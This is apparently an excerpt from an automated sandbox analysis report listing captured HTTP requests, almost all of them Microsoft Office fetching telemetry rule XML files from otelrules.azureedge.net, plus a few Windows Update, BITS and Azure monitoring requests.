Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: 0x8DCEC757C1AD1D1If-Modified-Since: Mon, 14 Oct 2024 17:27:31 GMT
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Bvm5m86EoTs5XUT&MD=wHey2B1y HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
